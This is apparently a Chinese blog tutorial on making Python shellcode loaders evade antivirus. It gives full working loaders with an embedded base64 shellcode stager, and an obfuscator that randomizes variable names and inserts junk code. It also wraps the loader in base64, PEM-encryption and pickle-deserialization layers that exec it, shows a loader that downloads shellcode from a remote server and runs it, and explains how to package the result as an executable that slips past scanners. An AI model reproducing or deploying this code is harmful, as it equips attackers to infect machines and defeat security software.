GkXYbXjZw = iiNDktFoHGVBRd.windll.kernel32.VirtualAlloc(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x3000),iiNDktFoHGVBRd.c_int(0x04))
iiNDktFoHGVBRd.windll.kernel32.RtlMoveMemory(iiNDktFoHGVBRd.c_int(GkXYbXjZw),ORopsFE,iiNDktFoHGVBRd.c_int(len(ORopsFE)))
MccFSqvaZINBB = iiNDktFoHGVBRd.windll.kernel32.VirtualProtect(iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x20),iiNDktFoHGVBRd.byref(iiNDktFoHGVBRd.c_uint32(0)))
suNTtNpnntOupUa = iiNDktFoHGVBRd.windll.kernel32.CreateThread(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.pointer(iiNDktFoHGVBRd.c_int(0)))
iiNDktFoHGVBRd.windll.kernel32.WaitForSingleObject(iiNDktFoHGVBRd.c_int(suNTtNpnntOupUa),iiNDktFoHGVBRd.c_int(-1))

它做的也是 shellcode ase加密,给ctypes换了个别名,随机变量名。

当然,作为开源软件,veil的特征已经被杀软标记了,它的免杀效果已经不怎么样了,不适合拿来直接用。

我们只是用来对shellcode进行混淆,以及获取一些反沙箱的代码。

加载器代码混淆

前面说的只是对shellcode进行混淆,但是杀软可不只是检测shellcode,所以我们还要对加载代码进行混淆。

shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。

随机变量名

veil生成的代码里用到了这种方法

比如:

ctypes->utHlfsEshellcode->znDuyLotmJPitlptr->ZDalvXpwBNnVvq......

代码语言:javascript复制
import ctypes as utHlfsE
import base64
znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR jQZ0NuVJ5wsbYDW4 BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj Q4b/VQAqSThp/eNg1NiTtEE7u UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04))
utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl)))
pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0)))
JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0)))
utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))
随机变量生成器

简单生成了些随机变量:

将一些变量名称替换成了随机数,并在代码中间插入随机无效代码。

random_variable.py

代码语言:javascript复制
import random
import string

class AutoRandom:
    def auto_random_int(self,max_int=999,min_int=0):
        return random.randint(min_int,max_int)

    def auto_random_str(self,min_length=8,max_length=15):
        length=random.randint(min_length,max_length)
        return ''.join(random.choice(string.ascii_letters) for x in range(length))

    def auto_random_void_command(self,min_str=500,max_str=1000,min_int=1,max_ini=9):
        void_command = [
            #'print("var1")'.replace('var1',str(self.auto_random_int(999999))),
            'var1 = var2   var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 - var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 * var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 / var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = "var2"   "var3"'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',self.auto_random_str(min_str,max_str)).replace('var3',self.auto_random_str(min_str,max_str)),
            'print("var1")'.replace('var1',self.auto_random_str(min_str,max_str))
            ]
        return void_command[self.auto_random_int(len(void_command)-1)]


def make_variable_random(shellcodeloader):
    shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("shellcode",AutoRandom.auto_random_str(min_length=8,max_length=15))
    shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("buffered", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("handle", AutoRandom.auto_random_str(min_length=8, max_length=15))
    return shellcodeloader

def make_command_random(shellcodeloader):
    shellcodeloader = shellcodeloader.replace("command1", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command2", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command3", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command4", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command5", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command6", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command7", AutoRandom.auto_random_void_command())
    return shellcodeloader

if __name__ == '__main__':
    AutoRandom = AutoRandom()
    shellcodeloader = '''
        正常shellcode加载器代码
'''

    shellcodeloader = make_variable_random(shellcodeloader)
    shellcodeloader = make_command_random(shellcodeloader)

    print(shellcodeloader)

使用方法:

将正常shellcode加载器代码去到import部分在一些部位添加标志位,放到 shellcodeloader:

然后运行:

将生成的代码复制出来,根据生成的随机数,给ctypes库起个别名:

然后运行,即可上线。

base64

shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。

shellcodeloader_base64_encode.py:

代码语言:javascript复制
import base64

# 加密

#base64_loader = base64.b64encode(b""" xxxx""")

base64_loader = base64.b64encode(b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
""")

print(base64_loader)

base64_decode_shellcodeloader.py

代码语言:javascript复制
import base64
import ctypes

buf = base64.b64decode(b'/EiD5PDoyAAAAEF......')

base64_loader = base64.b64decode(b'CnNoZWxsY29kZSA9IGJ5dGVhcnJheShidWYpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeSgKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLAogICAgYnVmLAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpCg==').decode()
exec(base64_loader)

运行上面代码,即可上线:

PEM

shellcodeloader_pem_encode.py

代码语言:javascript复制
from Crypto.IO import PEM

#pem_loader = b""" xxx """

pem_loader = b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
# 加密
# passphrase:指定密钥,可以为空 passphrase=None
# marker:指定名称
buf = PEM.encode(pem_loader, marker="shellcodeloader", passphrase=b'123', randfunc=None)

pem_decode_shellcodeloader.py

代码语言:javascript复制
from Crypto.IO import PEM
import base64
import ctypes

buf = base64.b64decode(b'/EiD5PDoyAAAAEFRQV....')

# 加密后的shellcodeloader
pem_loader = """-----BEGIN shellcodeloader-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,A854E7C9A4B45953

0SOWvJk0PkSI2jcnFkd3RXmqdGLOb7ruOPOv/EnvCMX2ercXRTLGfM3USCLZGPbC
bz/LfU812HCDa5OOYXmtZSiRGqvEd5fdZ44kreyK8L1YX0Arf6RbTJz wnNzR9jT
QVQLUVKlR5BFI9vabgNWBLgdDdQqYNKop0HrsznAbx9FpvpPlowkqfBI1L35KYEt
CT8UCdJr891Q4Sjtnv P6rpJF8Gu2UaMMAIIBlFwjG0e1y9M4UL6l5qixDGIICWS
8T619CqurhDpV 1pKcH8K8Ppp0nuaJo9gGKVnb/IafGBuTcjmZnCWSWmAhZpSnCR
NDwHbhFRd2N3qZ gRQLNdHYgQiByQHesg1kRaKlkOziwhDGhcbWjX1Y91fAhSjKL
EyuFjzYJNJcYvvvyIlHu1x/fF9MYJRVUbZCD0fcbTNopWGygv5NfOc2SRU9oYJKh
XYOQo02pvXxaZhOWaNXRIQjS7xs6948GHSKXWRhddZiXLHxa1LGz3x5vh0DF7vC7
UxoZeocqSAsLLQeuIlzt/uqF 0c/rc1CC9WeqK4sl8pbsZSeURCv5E2Ztq/NYr1z
DWR1q/rYTmgIHAJwLKg4bfx/gWWqgQ8KMFXHnuSzTf/eYn7m3BeIKwXW MisHskb
QaHnCItC2q4ISc6Xaz/f4CGWnutKnjRxJsJxbAznHqDEDyGDSTb1KLgcVx9bhLhj
xyJYaYII6G jJjOsWYjmu4xsiAN/AW8HPJUdcYV XtOrBzZfVlE46YiHbwky31oR
Q38gOcfsnz8oeIsGcBPNYpKUaGdgcyXqhVoKlGkWijN5G6j8oKsWw8ABuOn0Qn3Y
4A32/MBX4/2rA0lerBksv7GFUzMik0xe8odPKy77Aks/KYyVZZUuDCs Of1Ti5e0
-----END shellcodeloader-----"""
# 解密
loader = bytearray(PEM.decode(pem_loader, passphrase=b'123')[0])

exec(loader)

运行上面代码,即可上线:

反序列化

关于phthon反序列化相关就不详细展开了,可以看一下下面这篇文章 https://misakikata.github.io/2020/04/python-反序列化/

python 序列化和反序列化使用最为频繁的是cPicklepickle,前者是C语言实现,据说速度比后者快很多。

只不过python3标准库中不再叫cPickle,而是只有pickle。python2中两者都有。

pickle有如下四种操作方法:

PHP中的__wakeup类似,Python中的__reduce__方法在对象被反序列化的时候执行。

shellcodeloader_serialize.py

代码语言:javascript复制
import pickle
import base64

shellcodeloader = """
import ctypes,base64,time

#这里不能直接存在空字节,反序列化的时候会出错,所以要处理一下
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),  
    ctypes.c_int(0x40) 
    )

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0)) 
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""

class AAA(object):
    def __reduce__(self):
        return (exec, (shellcodeloader,))

seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
print(seri_base64)

unserialize_shellcodeloader.py

代码语言:javascript复制
import base64,pickle

shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............'
pickle.loads(base64.b64decode(shellcodeloader))

运行上面代码,即可上线:

0x03 寻找新的api

win api涉及很多内容,篇幅问题,这里不详细展开了,仅举个例子。

shellcode加载分为3步:申请内存->shellcode写入内存(-> 修改内存属性)->执行该内存

但是我们常用的函数,已经被一些杀软标记查杀

代码语言:javascript复制
ctypes.windll.kernel32.VirtualAlloc
ctypes.windll.kernel32.RtlMoveMemory
ctypes.windll.kernel32.CreateThread

我们需要找到其他一些有类似功能的函数,来替代他们。具有哪些函数可以起到类似的作用,大家可以去微软api文档里找找看。

例如:

AllocADsMem:

代码语言:javascript复制
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-allocadsmem

ReallocADsMem

代码语言:javascript复制
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-reallocadsmem

测试:

代码语言:javascript复制
import ctypes

shellcode = b"xfcx48x83"

macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)
for i in range(len(shellcode)/6):
     bytes_a = shellcode[i*6:6 i*6]
     ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem i*17)

list = []
for i in range(len(shellcode)/6):
    d = ctypes.string_at(macmem i*17,17)
    list.append(d)

ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)
rwxpage = ptr
for i in range(len(list)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
    rwxpage  = 6

ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

0x04 shellcode分离

最简单实用的分离就是将编码后的shellcode放到服务器上,再由加载器访问服务器页面地址,获取页面的Shellcode内容,之后加载并执行

这里shellcode使用base64编码测试:

代码语言:javascript复制
import ctypes
import requests
import base64
import urllib.request

rep = requests.get("http://192.168.111.132/1.txt")
shellcode = bytearray(base64.b64decode(rep.content))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)


handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

0x05 python打包成exe

上面我们构建了我们的Python文件,但是需要目标环境支持Python以及存在相应的库才可以利用,因此我们可以将我们的Python脚本打包成可执行程序来解决这些环境问题,打包方法有很多,例如pyinstaller或者py2execx_Freeze

我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测...

pyinstaller

安装:

python3:

代码语言:javascript复制
pip3 install pyinstaller -i https://pypi.douban.com/simple

python2:

代码语言:javascript复制
pip2 install pyinstaller==3.6 -i https://pypi.douban.com/simple

为了python2、python3都可以使用pyinstaller,进行各个的scripts目录,将pyinstaller.exe的名字分别改为pyinstaller2.exe、pyinstaller3.exe

基本语法:

代码语言:javascript复制
pyinstaller -F test.py -w -i test.ico  #使用-w参数会增加被杀软检测到的可能性
代码语言:javascript复制
-F,-onefile: 表示生成单个可执行文件,常用。
-w, -windowed, -noconsole:表示运行时不会出现黑窗控制台。
-p 表示你自己自定义需要加载的类路径,一般情况下用不到
-i 表示可执行文件的图标。注意:图片后缀必须是.ico
-c,console,-nowindowed:此为windows系统的默认选项,使用这个参数,运行时会有一个黑窗控制台。
-D,-onedir:创建一个目录,包含EXE文件,但会依赖很多文件(默认选项)

测试:

我们打包一个空项目,VT检测一下

代码语言:javascript复制
pyinstaller2 -F hello.py   #pyinstaller 3.6
代码语言:javascript复制
pyinstaller3 -F hello.py -w   #pyinstaller 5.0.1
代码语言:javascript复制
pyinstaller3 -F hello.py   #pyinstaller 3.6

可以看到使用python3 最新版本pyinstaller编译出来的exe,即使什么功能都没有,也会被很多杀软识别,所以我们还是尽量选用 python2 低版本的pyinstaller

同时,python3编译出来的exe,要比python2的exe文件大很多。[虽然都挺大的...]

代码语言:javascript复制
pyinstaller2 -F hello.py -w  #pyinstaller 3.6

py2exe

安装:

python3

代码语言:javascript复制
pip3 install py2exe

python2

代码语言:javascript复制
pip2 install https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.zip/download
代码语言:javascript复制
Microsoft Visual C   9.0 下载:
https://github.com/reider-roque/sulley-win-installer/blob/master/VCForPython27.msi

使用:

代码语言:javascript复制
参考:https://hoxis.github.io/python-py2exe.html

创建个文件setup.py

python3适用,python2在win64上无法打包到单个exe文件,还没解决

代码语言:javascript复制
#coding=utf-8
from distutils.core import setup
import py2exe
setup(
    options={
        'py2exe': {
            'optimize': 2,  
            'bundle_files': 1,  # 所有文件打包成一个 exe 文件 
            'compressed': True,
        },
    },
    #console=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}],  #显示控制台
    windows=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}],   #不显示控制台
    zipfile=None,
)

修改test.py为要打包的文件,test.ico为图标。

然后运行

代码语言:javascript复制
python2 setup.py py2exe
python3 setup.py py2exe

测试:

我们打包一个空项目,VT检测一下

代码语言:javascript复制
python3 setup.py py2exe    #不显示控制台 windows
代码语言:javascript复制
python3 setup.py py2exe    #显示控制台  console

python2

把所有东西打包到一个exe 不支持

临时方法:

setup.py

代码语言:javascript复制
#coding=utf-8
from distutils.core import setup
import py2exe
setup(
    options={
        'py2exe': {
            'optimize': 2,  
            'compressed': True,
        },
    },
    #console=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}],  #显示控制台
    windows=[{"script": "hello.py","icon_resources": [(1, "test.ico")}],   ##不显示控制台
    zipfile=None,
)

运行python2 setup.py py2exe

然后将dist 子目录下的所有文件复制到目标,运行。

默认情况下,py2exe 会在 dist 下创建以下这些文件: 1、一个或多个 exe 文件;2、几个 .pyd 文件,它们是已编译的扩展名,是 exe 文件所需要的;3、python**.dll,加上其它的 .dll 文件,这些 .dll 是 .pyd 所需要的;4、一个 library.zip 文件,它包含了已编译的纯的 python 模块如 .pyc 或 .pyo;

0x06 组合,免杀效果测试

以上随意选几种方式组合,即可过大部分杀软。例如:

1、shellcode_aes shellcodeloader_pem pyinstaller python3 :

2、随机变量名 shellcode_xor_base64 反序列化 pyinstaller python3 :

0x07 小节

免杀的方式多种多样,这只是免杀技术的冰山一角角。

本文我们测试了python常见的一些免杀方法,篇幅问题,没有还有一些没有展示,比如使用一些新的winapi(AllocADsMem、ReallocADsMem等等)、其他的分离方法、加载内存方法...

我们可以看出,虽然最后的查杀率还可以,但是生成的文件太大了,也有一些杀软把用py2exe、pyinstaller生成的任何exe包都当作了恶意文件,因此在实际中,还是更推荐用C#、go这种语言来写免杀。当然,方法都类似,只是语言不同

0 人点赞